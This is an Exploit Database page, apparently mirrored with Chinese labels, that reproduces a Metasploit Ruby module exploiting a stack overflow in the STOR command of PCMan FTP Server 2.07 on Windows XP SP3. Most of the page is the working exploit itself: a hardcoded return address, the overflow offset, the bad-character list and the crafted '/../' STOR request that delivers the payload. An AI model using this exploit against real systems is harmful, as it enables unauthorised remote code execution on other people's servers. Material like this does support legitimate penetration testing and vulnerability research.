PCMan FTP Server 2.07 – ‘STOR’ Remote Stack Overflow (Metasploit)

• Exploit Database
• 37 阅读

• 作者： Rick Flores
  日期： 2013-09-17
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/28328/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Ftp
  	
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'PCMAN FTP Server STOR Command Stack Overflow',
  			'Description'=> %q{
  						This module exploits a buffer overflow vulnerability
  						found in the STOR command of the PCMAN FTP v2.07 Server
  						when the "/../" parameters are also sent to the server.
  			},
  			'Author' => [
  						'Christian (Polunchis) Ramirez',	# Initial Discovery
  						'Rick (nanotechz9l) Flores',		# Metasploit Module 
  					],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  					[ 'URL', 'http://www.exploit-db.com/exploits/27703/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space' 		=> 1000,
  					'BadChars' 		=> "\x00\xff\x0a\x0d\x20\x40",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP SP3', 
  						{ 
  							'Ret' => 0x7C91FCD8, # jmp esp from kernel32.dll
  							'Offset' => 2002
  						} 
  					],
  				],
  			'DisclosureDate' => 'Jul 17 2011',
  			'DefaultTarget'	=> 0))
  	end
  	
  	def check
  	connect
  	disconnect
  	if (banner =~ /220 PCMan's FTP Server 2.0/)
  		return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect_login
  		print_status("Trying victim #{target.name}...")		
  		sploit = "\x41" * 2002 + [target.ret].pack('V') + make_nops(4) + "\x83\xc4\x9c" + payload.encoded
  		sploit << make_nops(4)
  		sploit << payload.encoded
  		send_cmd( ['STOR', '/../' + sploit], false )
  		handler
  		disconnect
  	end
  end